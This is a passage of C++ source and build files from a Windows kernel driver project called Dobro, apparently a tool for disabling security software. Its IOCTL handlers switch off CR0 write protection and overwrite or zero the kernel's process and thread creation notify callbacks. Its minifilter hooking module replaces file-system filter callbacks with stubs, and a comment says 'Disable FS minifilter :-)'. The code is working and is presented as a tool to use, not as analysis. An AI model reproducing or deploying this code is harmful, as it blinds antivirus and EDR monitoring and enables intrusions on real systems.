DobroData* data = (DobroData*)inBuf; 1105 | 1106 | for (i = 0; i < 64; i++) 1107 | { 1108 | MagicPtr = PspCreateThreadNotifyRoutine + i * 8; 1109 | NotifyAddr = *(PULONG64)(MagicPtr); 1110 | 1111 | if (MmIsAddressValid((PVOID)NotifyAddr) && NotifyAddr != 0) 1112 | { 1113 | NotifyAddr = *(PULONG64)(NotifyAddr & 0xfffffffffffffff8); 1114 | LOG("[%d] CreateThreadNotifyRoutine: %llx", i, NotifyAddr); 1115 | 1116 | if (data->index == i) 1117 | { 1118 | int LogicalProcessorsCount = KeQueryActiveProcessorCount(0); 1119 | 1120 | for (ULONG64 processorIndex = 0; processorIndex < LogicalProcessorsCount; processorIndex++) 1121 | { 1122 | KAFFINITY oldAffinity = KeSetSystemAffinityThreadEx((KAFFINITY)(1i64 << processorIndex)); 1123 | CR0_WP_OFF_x64(); 1124 | KeRevertToUserAffinityThreadEx(oldAffinity); 1125 | } 1126 | 1127 | PULONG64 pPointer = (PULONG64)NotifyAddr; 1128 | memcpy((g_ThreadStoreAddress + i * 8), pPointer, 8); 1129 | *pPointer = (ULONG64)0xc3; 1130 | 1131 | for (ULONG64 processorIndex = 0; processorIndex < LogicalProcessorsCount; processorIndex++) 1132 | { 1133 | KAFFINITY oldAffinity = KeSetSystemAffinityThreadEx((KAFFINITY)(1i64 << processorIndex)); 1134 | CR0_WP_ON_x64(); 1135 | KeRevertToUserAffinityThreadEx(oldAffinity); 1136 | } 1137 | 1138 | status = STATUS_SUCCESS; 1139 | break; 1140 | } 1141 | } 1142 | } 1143 | 1144 | break; 1145 | } 1146 | 1147 | case IOCTL_DOBRO_PROCESS_ROLLBACK_RET: 1148 | { 1149 | ULONG64 PspCreateProcessNotifyRoutine = FindPspCreateProcessNotifyRoutine(); 1150 | if (!PspCreateProcessNotifyRoutine) 1151 | break; 1152 | 1153 | int i = 0; 1154 | ULONG64 NotifyAddr = 0, MagicPtr = 0; 1155 | DobroData* data = (DobroData*)inBuf; 1156 | 1157 | for (i = 0; i < 64; i++) 1158 | { 1159 | MagicPtr = PspCreateProcessNotifyRoutine + i * 8; 1160 | NotifyAddr = *(PULONG64)(MagicPtr); 1161 | 1162 | if (MmIsAddressValid((PVOID)NotifyAddr) && NotifyAddr != 0) 1163 | { 1164 | NotifyAddr = *(PULONG64)(NotifyAddr & 0xfffffffffffffff8); 1165 | LOG("[%d] CreateProcessNotifyRoutine: %llx", i, NotifyAddr); 1166 | 1167 | if (data->index == i) 1168 | { 1169 | int LogicalProcessorsCount = KeQueryActiveProcessorCount(0); 1170 | 1171 | for (ULONG64 processorIndex = 0; processorIndex < LogicalProcessorsCount; processorIndex++) 1172 | { 1173 | KAFFINITY oldAffinity = KeSetSystemAffinityThreadEx((KAFFINITY)(1i64 << processorIndex)); 1174 | CR0_WP_OFF_x64(); 1175 | KeRevertToUserAffinityThreadEx(oldAffinity); 1176 | } 1177 | 1178 | PULONG64 pPointer = (PULONG64)NotifyAddr; 1179 | memcpy(pPointer,(g_ProcessStoreAddress + i * 8),8); 1180 | 1181 | for (ULONG64 processorIndex = 0; processorIndex < LogicalProcessorsCount; processorIndex++) 1182 | { 1183 | KAFFINITY oldAffinity = KeSetSystemAffinityThreadEx((KAFFINITY)(1i64 << processorIndex)); 1184 | CR0_WP_ON_x64(); 1185 | KeRevertToUserAffinityThreadEx(oldAffinity); 1186 | } 1187 | 1188 | status = STATUS_SUCCESS; 1189 | break; 1190 | } 1191 | } 1192 | } 1193 | 1194 | break; 1195 | } 1196 | 1197 | case IOCTL_DOBRO_THREAD_ROLLBACK_RET: 1198 | { 1199 | ULONG64 PspCreateThreadNotifyRoutine = FindPsSetCreateThreadNotifyRoutine(); 1200 | if (!PspCreateThreadNotifyRoutine) 1201 | break; 1202 | 1203 | int i = 0; 1204 | ULONG64 NotifyAddr = 0, MagicPtr = 0; 1205 | DobroData* data = (DobroData*)inBuf; 1206 | 1207 | for (i = 0; i < 64; i++) 1208 | { 1209 | MagicPtr = PspCreateThreadNotifyRoutine + i * 8; 1210 | NotifyAddr = *(PULONG64)(MagicPtr); 1211 | 1212 | if (MmIsAddressValid((PVOID)NotifyAddr) && NotifyAddr != 0) 1213 | { 1214 | NotifyAddr = *(PULONG64)(NotifyAddr & 0xfffffffffffffff8); 1215 | LOG("[%d] CreateThreadNotifyRoutine: %llx", i, NotifyAddr); 1216 | 1217 | if (data->index == i) 1218 | { 1219 | int LogicalProcessorsCount = KeQueryActiveProcessorCount(0); 1220 | 1221 | for (ULONG64 processorIndex = 0; processorIndex < LogicalProcessorsCount; processorIndex++) 1222 | { 1223 | KAFFINITY oldAffinity = KeSetSystemAffinityThreadEx((KAFFINITY)(1i64 << processorIndex)); 1224 | CR0_WP_OFF_x64(); 1225 | KeRevertToUserAffinityThreadEx(oldAffinity); 1226 | } 1227 | 1228 | PULONG64 pPointer = (PULONG64)NotifyAddr; 1229 | memcpy(pPointer, (g_ThreadStoreAddress + i * 8), 8); 1230 | 1231 | for (ULONG64 processorIndex = 0; processorIndex < LogicalProcessorsCount; processorIndex++) 1232 | { 1233 | KAFFINITY oldAffinity = KeSetSystemAffinityThreadEx((KAFFINITY)(1i64 << processorIndex)); 1234 | CR0_WP_ON_x64(); 1235 | KeRevertToUserAffinityThreadEx(oldAffinity); 1236 | } 1237 | 1238 | status = STATUS_SUCCESS; 1239 | break; 1240 | } 1241 | } 1242 | } 1243 | 1244 | break; 1245 | } 1246 | 1247 | case IOCTL_DOBRO_PROCESS_ZEROOUT_ARRAY: 1248 | { 1249 | ULONG64 PspCreateProcessNotifyRoutine = FindPspCreateProcessNotifyRoutine(); 1250 | if (!PspCreateProcessNotifyRoutine) 1251 | break; 1252 | 1253 | int i = 0; 1254 | ULONG64 NotifyAddr = 0, MagicPtr = 0; 1255 | DobroData* data = (DobroData*)inBuf; 1256 | 1257 | for (i = 0; i < 64; i++) 1258 | { 1259 | MagicPtr = PspCreateProcessNotifyRoutine + i * 8; 1260 | NotifyAddr = *(PULONG64)(MagicPtr); 1261 | 1262 | if (MmIsAddressValid((PVOID)NotifyAddr) && NotifyAddr != 0) 1263 | { 1264 | if (data->list) 1265 | { 1266 | NotifyAddr = *(PULONG64)(NotifyAddr & 0xfffffffffffffff8); 1267 | LOG("[%d] CreateProcessNotifyRoutine: %llx", i, NotifyAddr); 1268 | } 1269 | 1270 | if (data->remove) 1271 | *(PULONG64)(MagicPtr) = 0; 1272 | } 1273 | } 1274 | 1275 | status = STATUS_SUCCESS; 1276 | break; 1277 | } 1278 | 1279 | case IOCTL_DOBRO_THREAD_ZEROOUT_ARRAY: 1280 | { 1281 | ULONG64 PspCreateThreadNotifyRoutine = FindPsSetCreateThreadNotifyRoutine(); 1282 | if (!PspCreateThreadNotifyRoutine) 1283 | break; 1284 | 1285 | int i = 0; 1286 | ULONG64 NotifyAddr = 0, MagicPtr = 0; 1287 | DobroData* data = (DobroData*)inBuf; 1288 | 1289 | for (i = 0; i < 64; i++) 1290 | { 1291 | MagicPtr = PspCreateThreadNotifyRoutine + i * 8; 1292 | NotifyAddr = *(PULONG64)(MagicPtr); 1293 | 1294 | if (MmIsAddressValid((PVOID)NotifyAddr) && NotifyAddr != 0) 1295 | { 1296 | if (data->list) 1297 | { 1298 | NotifyAddr = *(PULONG64)(NotifyAddr & 0xfffffffffffffff8); 1299 | LOG("[%d] CreateProcessNotifyRoutine: %llx", i, NotifyAddr); 1300 | } 1301 | 1302 | if (data->remove) 1303 | *(PULONG64)(MagicPtr) = 0; 1304 | } 1305 | } 1306 | 1307 | status = STATUS_SUCCESS; 1308 | break; 1309 | } 1310 | 1311 | case IOCTL_DOBRO_HOOK_MINIFILTER: 1312 | { 1313 | DobroData* data = (DobroData*)inBuf; 1314 | 1315 | PWCHAR name = FSH_GetFSMinifilterByIndex(data->index); 1316 | if (name == NULL) 1317 | { 1318 | status = STATUS_INVALID_PARAMETER; 1319 | break; 1320 | } 1321 | 1322 | UNICODE_STRING usNameMinifilter; 1323 | usNameMinifilter.Buffer = name; 1324 | usNameMinifilter.Length = (USHORT)(::wcslen(name) * sizeof(WCHAR)); 1325 | usNameMinifilter.MaximumLength = usNameMinifilter.Length; 1326 | 1327 | status = FSH_Hook(&usNameMinifilter); 1328 | 1329 | break; 1330 | } 1331 | 1332 | case IOCTL_DOBRO_UNHOOK_MINIFILTER: 1333 | { 1334 | status = FSH_UnHook(); 1335 | break; 1336 | } 1337 | 1338 | case IOCTL_DOBRO_GET_LIST_ALL: 1339 | { 1340 | int rc = GetAllList(outBuf, outBufLength); 1341 | if (rc >= 0) 1342 | { 1343 | numWritten = rc; 1344 | status = STATUS_SUCCESS; 1345 | } 1346 | 1347 | break; 1348 | } 1349 | 1350 | default: 1351 | { 1352 | status = STATUS_INVALID_DEVICE_REQUEST; 1353 | break; 1354 | } 1355 | } 1356 | 1357 | End: 1358 | Irp->IoStatus.Status = status; 1359 | Irp->IoStatus.Information = numWritten; 1360 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 1361 | 1362 | return status; 1363 | } 1364 | 1365 | -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/Dobro.inf: -------------------------------------------------------------------------------- 1 | ;;; 2 | ;;; Dobro 3 | ;;; 4 | 5 | [Version] 6 | Signature = "$Windows NT$" 7 | Class = "ActivityMonitor" 8 | ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} 9 | Provider = %ManufacturerName% 10 | DriverVer = 11 | CatalogFile = Dobro.cat 12 | 13 | [DestinationDirs] 14 | DefaultDestDir = 12 15 | MiniFilter.DriverFiles = 12 ;%windir%\system32\drivers 16 | 17 | ;; 18 | ;; Default install sections 19 | ;; 20 | 21 | [DefaultInstall] 22 | OptionDesc = %ServiceDescription% 23 | CopyFiles = MiniFilter.DriverFiles 24 | 25 | [DefaultInstall.Services] 26 | AddService = %ServiceName%,,MiniFilter.Service 27 | 28 | ;; 29 | ;; Default uninstall sections 30 | ;; 31 | 32 | [DefaultUninstall] 33 | DelFiles = MiniFilter.DriverFiles 34 | 35 | [DefaultUninstall.Services] 36 | DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting 37 | 38 | ; 39 | ; Services Section 40 | ; 41 | 42 | [MiniFilter.Service] 43 | DisplayName = %ServiceName% 44 | Description = %ServiceDescription% 45 | ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\ 46 | Dependencies = "FltMgr" 47 | ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER 48 | StartType = 3 ;SERVICE_DEMAND_START 49 | ErrorControl = 1 ;SERVICE_ERROR_NORMAL 50 | ; TODO - Change the Load Order Group value 51 | ; LoadOrderGroup = "FSFilter Activity Monitor" 52 | LoadOrderGroup = "FSFilter Activity Monitor" 53 | AddReg = MiniFilter.AddRegistry 54 | 55 | ; 56 | ; Registry Modifications 57 | ; 58 | 59 | [MiniFilter.AddRegistry] 60 | HKR,,"DebugFlags",0x00010001 ,0x0 61 | HKR,,"SupportedFeatures",0x00010001,0x3 62 | HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance% 63 | HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude% 64 | HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags% 65 | 66 | ; 67 | ; Copy Files 68 | ; 69 | 70 | [MiniFilter.DriverFiles] 71 | %DriverName%.sys 72 | 73 | [SourceDisksFiles] 74 | Dobro.sys = 1,, 75 | 76 | [SourceDisksNames] 77 | 1 = %DiskId1%,,, 78 | 79 | ;; 80 | ;; String Section 81 | ;; 82 | 83 | [Strings] 84 | ManufacturerName = "Template" 85 | ServiceDescription = "Dobro Minifilter Driver" 86 | ServiceName = "Dobro" 87 | DriverName = "Dobro" 88 | DiskId1 = "Dobro Device Installation Disk" 89 | 90 | ;Instances specific information. 91 | DefaultInstance = "Dobro Instance" 92 | Instance1.Name = "Dobro Instance" 93 | Instance1.Altitude = "394560" 94 | Instance1.Flags = 0x0 ; Allow all attachments 95 | -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/Dobro.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | Debug 22 | ARM 23 | 24 | 25 | Release 26 | ARM 27 | 28 | 29 | Debug 30 | ARM64 31 | 32 | 33 | Release 34 | ARM64 35 | 36 | 37 | 38 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F} 39 | {dd38f7fc-d7bd-488b-9242-7d8754cde80d} 40 | v4.5 41 | 12.0 42 | Debug 43 | Win32 44 | evil 45 | $(LatestTargetPlatformVersion) 46 | 47 | 48 | 49 | Windows10 50 | true 51 | WindowsKernelModeDriver10.0 52 | Driver 53 | WDM 54 | 55 | 56 | Windows10 57 | false 58 | WindowsKernelModeDriver10.0 59 | Driver 60 | WDM 61 | 62 | 63 | Windows10 64 | true 65 | WindowsKernelModeDriver10.0 66 | Driver 67 | WDM 68 | false 69 | 70 | 71 | Windows10 72 | false 73 | WindowsKernelModeDriver10.0 74 | Driver 75 | WDM 76 | false 77 | 78 | 79 | Windows10 80 | true 81 | WindowsKernelModeDriver10.0 82 | Driver 83 | WDM 84 | 85 | 86 | Windows10 87 | false 88 | WindowsKernelModeDriver10.0 89 | Driver 90 | WDM 91 | 92 | 93 | Windows10 94 | true 95 | WindowsKernelModeDriver10.0 96 | Driver 97 | WDM 98 | 99 | 100 | Windows10 101 | false 102 | WindowsKernelModeDriver10.0 103 | Driver 104 | WDM 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | DbgengKernelDebugger 116 | 117 | 118 | DbgengKernelDebugger 119 | 120 | 121 | DbgengKernelDebugger 122 | 123 | 124 | DbgengKernelDebugger 125 | 126 | 127 | DbgengKernelDebugger 128 | 129 | 130 | DbgengKernelDebugger 131 | 132 | 133 | DbgengKernelDebugger 134 | 135 | 136 | DbgengKernelDebugger 137 | 138 | 139 | 140 | MultiThreadedDebug 141 | 142 | 143 | aux_klib.lib;%(AdditionalDependencies) 144 | /integritycheck %(AdditionalOptions) 145 | 146 | 147 | 148 | 149 | stdcpp17 150 | /Wv:18 %(AdditionalOptions) 151 | 152 | 153 | 154 | NtosKrnl.lib;fltMgr.lib;aux_klib.lib;%(AdditionalDependencies) 155 | /integritycheck %(AdditionalOptions) 156 | true 157 | 158 | 159 | 160 | 161 | 162 | 163 | fltMgr.lib;aux_klib.lib;%(AdditionalDependencies);$(KernelBufferOverflowLib);$(DDK_LIB_PATH)ntoskrnl.lib;$(DDK_LIB_PATH)hal.lib;$(DDK_LIB_PATH)wmilib.lib 164 | false 165 | /PDBALTPATH:D0BR0 %(AdditionalOptions) 166 | 167 | 168 | None 169 | false 170 | stdcpp17 171 | /Wv:18 %(AdditionalOptions) 172 | false 173 | 174 | Full 175 | Size 176 | false 177 | true 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/Dobro.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Source Files 24 | 25 | 26 | Source Files 27 | 28 | 29 | Source Files 30 | 31 | 32 | Source Files 33 | 34 | 35 | Source Files 36 | 37 | 38 | 39 | 40 | Header Files 41 | 42 | 43 | Header Files 44 | 45 | 46 | Header Files 47 | 48 | 49 | Header Files 50 | 51 | 52 | Header Files 53 | 54 | 55 | Header Files 56 | 57 | 58 | Header Files 59 | 60 | 61 | Header Files 62 | 63 | 64 | 65 | 66 | Driver Files 67 | 68 | 69 | -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/Dobro.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/FsMinifilterHooking.cpp: -------------------------------------------------------------------------------- 1 | #include "FsMinifilterHooking.h" 2 | #include "Log.h" 3 | #include "FsMinifilterProto.h" 4 | #include "Common.h" 5 | 6 | ////////////////////////////////////////////////////////////////////////// 7 | // Get CallbackNodes by instance 8 | ////////////////////////////////////////////////////////////////////////// 9 | PCALLBACK_NODE GetCachedCallbackNodesByInstance(PFLT_INSTANCE instance) 10 | { 11 | for (size_t instanceIndex = 0; instanceIndex < originalInstances->getSize(); instanceIndex++) 12 | { 13 | if (instance == (*originalInstances)[instanceIndex]->get()) 14 | { 15 | return (*originalInstances)[instanceIndex]->getCachedCallbackNodes(); 16 | } 17 | } 18 | 19 | return NULL; 20 | } 21 | 22 | ////////////////////////////////////////////////////////////////////////// 23 | // Is CallbackNode it has PreOperation 24 | ////////////////////////////////////////////////////////////////////////// 25 | bool IsCallbackNode( 26 | PCALLBACK_NODE potentialCallbackNode, 27 | PFLT_INSTANCE pFltInstance, 28 | void* preCallback) 29 | { 30 | return ((potentialCallbackNode->PreOperation == preCallback) && 31 | (potentialCallbackNode->Instance == pFltInstance)); 32 | } 33 | 34 | ////////////////////////////////////////////////////////////////////////// 35 | // Read memory safe 36 | ////////////////////////////////////////////////////////////////////////// 37 | bool ReadMemorySafe(void* targetAddress, void* allocatedBuffer, unsigned short lengthToRead) 38 | { 39 | auto physicalAddress = MmGetPhysicalAddress(targetAddress); 40 | if (physicalAddress.QuadPart) 41 | { 42 | auto newVirtualAddress = MmMapIoSpace(physicalAddress, lengthToRead, MmNonCached); 43 | if (newVirtualAddress != NULL) 44 | { 45 | RtlCopyMemory(allocatedBuffer, newVirtualAddress, lengthToRead); 46 | MmUnmapIoSpace(newVirtualAddress, lengthToRead); 47 | return true; 48 | } 49 | } 50 | return false; 51 | } 52 | 53 | ////////////////////////////////////////////////////////////////////////// 54 | // Get offset CallbackNodes 55 | ////////////////////////////////////////////////////////////////////////// 56 | unsigned short GetOffsetOfCallbackNodes( 57 | FltFilterGuard& filter, 58 | unsigned short limit, 59 | void * preCallbackFunc, 60 | unsigned short callbackIndex) 61 | { 62 | void* potentialPointer; 63 | unsigned short offset = FltInstanceGuard::INVALID_OFFSET; 64 | ArrayGuard instancesArray; 65 | unsigned long fltInstancesNumber = filter.getInstances(instancesArray); 66 | 67 | if (fltInstancesNumber == 0) 68 | { 69 | return offset; 70 | } 71 | 72 | // Allocate memory of the instance object memory 73 | auto memorySize = limit / sizeof(unsigned short); 74 | ArrayGuard instanceObjectMemory; 75 | instanceObjectMemory.allocate(NonPagedPool, memorySize); 76 | 77 | // Safe read instance object memory 78 | if (ReadMemorySafe(instancesArray[0]->get(), instanceObjectMemory.get(), limit) == false) 79 | { 80 | return offset; 81 | } 82 | 83 | // Over the memory to find the offset of teh callback 84 | for (unsigned short i = 0; i < limit / sizeof(unsigned short); i++) 85 | { 86 | potentialPointer = reinterpret_cast(*(reinterpret_cast( 87 | reinterpret_cast(instanceObjectMemory.get()) + i))); 88 | 89 | if (MmIsAddressValid(potentialPointer) && (IsCallbackNode( 90 | reinterpret_cast(potentialPointer), 91 | instancesArray[0]->get(), 92 | preCallbackFunc))) 93 | { 94 | offset = i * sizeof(unsigned short) - callbackIndex * sizeof(PCALLBACK_NODE); 95 | break; 96 | } 97 | } 98 | 99 | return offset; 100 | } 101 | 102 | ////////////////////////////////////////////////////////////////////////// 103 | // Dummy PreOperation FS minifilter 104 | ////////////////////////////////////////////////////////////////////////// 105 | FLT_PREOP_CALLBACK_STATUS DummyCreatePreOperation(PFLT_CALLBACK_DATA Data, 106 | PCFLT_RELATED_OBJECTS FltObjects, 107 | PVOID* CompletionContext) 108 | { 109 | UNREFERENCED_PARAMETER(Data); 110 | UNREFERENCED_PARAMETER(FltObjects); 111 | UNREFERENCED_PARAMETER(CompletionContext); 112 | 113 | return FLT_PREOP_SUCCESS_NO_CALLBACK; 114 | } 115 | 116 | ////////////////////////////////////////////////////////////////////////// 117 | // Hook FS minifilter 118 | ////////////////////////////////////////////////////////////////////////// 119 | FLT_PREOP_CALLBACK_STATUS HookPreOperationFunction( 120 | PFLT_CALLBACK_DATA Data, 121 | PCFLT_RELATED_OBJECTS FltObjects, 122 | PVOID* CompletionContext) 123 | { 124 | UNREFERENCED_PARAMETER(Data); 125 | UNREFERENCED_PARAMETER(CompletionContext); 126 | 127 | // PCALLBACK_NODE originalCallbackNodes = GetCachedCallbackNodesByInstance(FltObjects->Instance); 128 | // if (originalCallbackNodes == NULL) 129 | // { 130 | // return FLT_PREOP_SUCCESS_NO_CALLBACK; 131 | // } 132 | 133 | // Disable FS minifilter :-) 134 | UNREFERENCED_PARAMETER(FltObjects); 135 | return FLT_PREOP_SUCCESS_NO_CALLBACK; 136 | 137 | // auto originalPreCallback = reinterpret_cast( 138 | // originalCallbackNodes[static_cast(Data->Iopb->MajorFunction) + 0x16].PreOperation); 139 | // 140 | // return originalPreCallback(Data, FltObjects, CompletionContext); 141 | } 142 | 143 | FLT_POSTOP_CALLBACK_STATUS HookPostOperationFunction( 144 | PFLT_CALLBACK_DATA Data, 145 | PCFLT_RELATED_OBJECTS FltObjects, 146 | PVOID CompletionContext, 147 | FLT_POST_OPERATION_FLAGS Flags) 148 | { 149 | UNREFERENCED_PARAMETER(CompletionContext); 150 | UNREFERENCED_PARAMETER(Flags); 151 | 152 | // PCALLBACK_NODE originalCallbackNodes = GetCachedCallbackNodesByInstance(FltObjects->Instance); 153 | // if (originalCallbackNodes == NULL) 154 | // { 155 | // return FLT_POSTOP_FINISHED_PROCESSING; 156 | // } 157 | 158 | // Disable FS minifilter :-) 159 | UNREFERENCED_PARAMETER(Data); 160 | UNREFERENCED_PARAMETER(FltObjects); 161 | return FLT_POSTOP_FINISHED_PROCESSING; 162 | 163 | // auto originalPostCallback = reinterpret_cast( 164 | // originalCallbackNodes[static_cast(Data->Iopb->MajorFunction) + 0x16].PostOperation); 165 | // 166 | // return originalPostCallback(Data, FltObjects, CompletionContext, Flags); 167 | } 168 | 169 | ////////////////////////////////////////////////////////////////////////// 170 | // Hook function 171 | ////////////////////////////////////////////////////////////////////////// 172 | void HookFunction(PVOID* pSourceFunction, PVOID hookFunction) 173 | { 174 | if (MmIsAddressValid(*pSourceFunction)) 175 | { 176 | InterlockedExchangePointer(pSourceFunction, hookFunction); 177 | } 178 | } 179 | 180 | ////////////////////////////////////////////////////////////////////////// 181 | // Hook callbacks 182 | ////////////////////////////////////////////////////////////////////////// 183 | VOID HookCallbacks(FltFilterGuard& filter) 184 | { 185 | ArrayGuard instancesArray; 186 | ULONG instancesCount = filter.getInstances(instancesArray); 187 | 188 | if (instancesCount == 0) 189 | { 190 | return; 191 | } 192 | 193 | originalInstances = new ArrayGuard(); 194 | originalInstances->allocate(NonPagedPool, instancesCount); 195 | 196 | for (size_t instanceIndex = 0; instanceIndex < instancesCount; instanceIndex++) 197 | { 198 | (*originalInstances)[instanceIndex] = 199 | new FltInstanceGuard(instancesArray[instanceIndex]->get(), false, false, true); 200 | (*originalInstances)[instanceIndex]->cachingCallbackNodes(); 201 | 202 | PCALLBACK_NODE* callbackNodesList = 203 | (*originalInstances)[instanceIndex]->getPointerToCallbackNodesField(); 204 | 205 | for (size_t callbackIndex = 0X16; 206 | callbackIndex <= IRP_MJ_MAXIMUM_FUNCTION + 0X16; 207 | callbackIndex++) 208 | { 209 | PCALLBACK_NODE callbackNode = callbackNodesList[callbackIndex]; 210 | 211 | if (MmIsAddressValid(callbackNode)) 212 | { 213 | HookFunction(&(callbackNode->PreOperation), &HookPreOperationFunction); 214 | HookFunction(&(callbackNode->PostOperation), &HookPostOperationFunction); 215 | } 216 | } 217 | } 218 | } 219 | 220 | ////////////////////////////////////////////////////////////////////////// 221 | // Unhook callbacks 222 | ////////////////////////////////////////////////////////////////////////// 223 | VOID UnHookCallbacks() 224 | { 225 | if (originalInstances == NULL) 226 | { 227 | return; 228 | } 229 | 230 | for (size_t instanceIndex = 0; 231 | instanceIndex < originalInstances->getSize(); 232 | instanceIndex++) 233 | { 234 | FltInstanceGuard instance((*originalInstances)[instanceIndex]->get(), true, true, false); 235 | 236 | if (!instance.isValid()) 237 | { 238 | // The instance is tear down 239 | continue; 240 | } 241 | 242 | PCALLBACK_NODE* callbackNodesList = instance.getPointerToCallbackNodesField(); 243 | auto cachedCallbackNodes = (*originalInstances)[instanceIndex]->getCachedCallbackNodes(); 244 | 245 | for (size_t callbackIndex = 0x16; 246 | callbackIndex <= IRP_MJ_MAXIMUM_FUNCTION + 0x16; 247 | callbackIndex++) 248 | { 249 | PCALLBACK_NODE callbackNode = callbackNodesList[callbackIndex]; 250 | 251 | if (MmIsAddressValid(callbackNode)) 252 | { 253 | HookFunction( 254 | &(callbackNode->PreOperation), 255 | cachedCallbackNodes[callbackIndex].PreOperation); 256 | 257 | HookFunction( 258 | &(callbackNode->PostOperation), 259 | cachedCallbackNodes[callbackIndex].PostOperation); 260 | } 261 | 262 | } 263 | } 264 | 265 | delete originalInstances; 266 | } 267 | 268 | ////////////////////////////////////////////////////////////////////////// 269 | // Driver unload 270 | ////////////////////////////////////////////////////////////////////////// 271 | VOID FSH_Unload(PDRIVER_OBJECT DriverObject) 272 | { 273 | UNREFERENCED_PARAMETER(DriverObject); 274 | 275 | FSH_UnHook(); 276 | 277 | LOG("[+] Driver FS minifilter has been unloaded"); 278 | } 279 | 280 | ////////////////////////////////////////////////////////////////////////// 281 | // Driver entry 282 | ////////////////////////////////////////////////////////////////////////// 283 | NTSTATUS FSH_DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) 284 | { 285 | UNREFERENCED_PARAMETER(RegistryPath); 286 | 287 | NTSTATUS status = STATUS_SUCCESS; 288 | 289 | FltFilterGuard dummyFilter(DriverObject, FilterRegistration); 290 | status = dummyFilter.startFiltering(); 291 | if (!NT_SUCCESS(status)) 292 | { 293 | return status; 294 | } 295 | 296 | unsigned short offsetCallbackNodes = GetOffsetOfCallbackNodes( 297 | dummyFilter, 298 | 0x230, 299 | DummyCreatePreOperation, 300 | IRP_MJ_CREATE + 0X16); 301 | 302 | dummyFilter.~FltFilterGuard(); 303 | 304 | if (offsetCallbackNodes != FltInstanceGuard::INVALID_OFFSET) 305 | { 306 | FltInstanceGuard::setOffsetCallbackNodes(offsetCallbackNodes); 307 | 308 | LOG("[+] Driver FS minifilter hook initialize success"); 309 | 310 | status = STATUS_SUCCESS; 311 | } 312 | else 313 | { 314 | LOG("[-] Driver FS minifilter hook initialize failed"); 315 | 316 | status = STATUS_UNSUCCESSFUL; 317 | } 318 | 319 | return status; 320 | } 321 | 322 | ////////////////////////////////////////////////////////////////////////// 323 | // Get list FS minifilters 324 | ////////////////////////////////////////////////////////////////////////// 325 | constexpr ULONG POOL_TAG = 'FSH0'; 326 | WCHAR g_listFSMinifilters[DEF_MOD_NAME_COUNT * DEF_MOD_NAME_LEN_SYM] = L""; 327 | ULONG g_cntFSMinifilters = 0; 328 | 329 | ULONG FSH_GetListFilters(PWCHAR *data) 330 | { 331 | NTSTATUS status = STATUS_SUCCESS; 332 | ULONG numberFiltersReturned, sizeOfBuffer; 333 | PFLT_FILTER* filterList; 334 | PFILTER_FULL_INFORMATION filterFullInformation; 335 | ULONG i; 336 | 337 | ::memset(g_listFSMinifilters, 0, sizeof(g_listFSMinifilters)); 338 | g_cntFSMinifilters = 0; 339 | 340 | status = FltEnumerateFilters(NULL, 0, &numberFiltersReturned); 341 | if ((status == STATUS_BUFFER_TOO_SMALL) && numberFiltersReturned) 342 | { 343 | sizeOfBuffer = sizeof(PFLT_FILTER) * numberFiltersReturned; 344 | filterList = (PFLT_FILTER*)ExAllocatePoolWithTag(NonPagedPool, sizeOfBuffer, POOL_TAG); 345 | if (filterList) 346 | { 347 | status = FltEnumerateFilters(filterList, sizeOfBuffer, &numberFiltersReturned); 348 | for (i = 0; NT_SUCCESS(status) && (i < numberFiltersReturned); i++) 349 | { 350 | status = FltGetFilterInformation(filterList[i], FilterFullInformation, NULL, 0, &sizeOfBuffer); 351 | if ((status == STATUS_BUFFER_TOO_SMALL) && sizeOfBuffer) 352 | { 353 | filterFullInformation = (PFILTER_FULL_INFORMATION)ExAllocatePoolWithTag(NonPagedPool, sizeOfBuffer, POOL_TAG); 354 | if (filterFullInformation) 355 | { 356 | status = FltGetFilterInformation(filterList[i], FilterFullInformation, filterFullInformation, sizeOfBuffer, &sizeOfBuffer); 357 | if (NT_SUCCESS(status)) 358 | { 359 | if (i < DEF_MOD_NAME_COUNT) 360 | { 361 | ::memcpy_s( 362 | &g_listFSMinifilters[i * DEF_MOD_NAME_LEN_SYM], 363 | sizeof(WCHAR) * (DEF_MOD_NAME_LEN_SYM - 1), 364 | filterFullInformation->FilterNameBuffer, 365 | filterFullInformation->FilterNameLength); 366 | g_cntFSMinifilters++; 367 | 368 | LOG("Found & add minifilter: %ws", &g_listFSMinifilters[i * DEF_MOD_NAME_LEN_SYM]); 369 | } 370 | else 